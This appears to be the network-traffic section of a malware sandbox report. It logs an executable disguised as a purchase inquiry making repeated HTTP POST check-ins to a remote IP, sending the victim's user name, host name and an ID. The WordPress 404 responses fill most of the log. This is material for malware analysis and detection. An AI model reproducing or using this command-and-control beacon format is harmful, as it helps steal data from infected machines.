May 27, 2024 08:32:26.753155947 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:26.753190994 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:26.753225088 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:26.753573895 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:26.906514883 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:26.911513090 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:29.290330887 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:27 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:29.290360928 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:29.290383101 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:29.290394068 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:32:29.290402889 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:32:29.290467978 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:32:29.290690899 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:29.290707111 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:29.290720940 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:29.290915012 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:29.447879076 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:29.457859993 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:31.799910069 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:29 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:31.799923897 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:31.799933910 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:31.799946070 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:31.799957991 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:31.799968004 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:31.800026894 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:31.800036907 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:31.800060034 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-
May 27, 2024 08:32:31.800070047 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49755	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:33.963829041 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:33.968913078 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:36.116638899 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:34 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:36.116667986 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:36.116688013 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:36.116697073 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
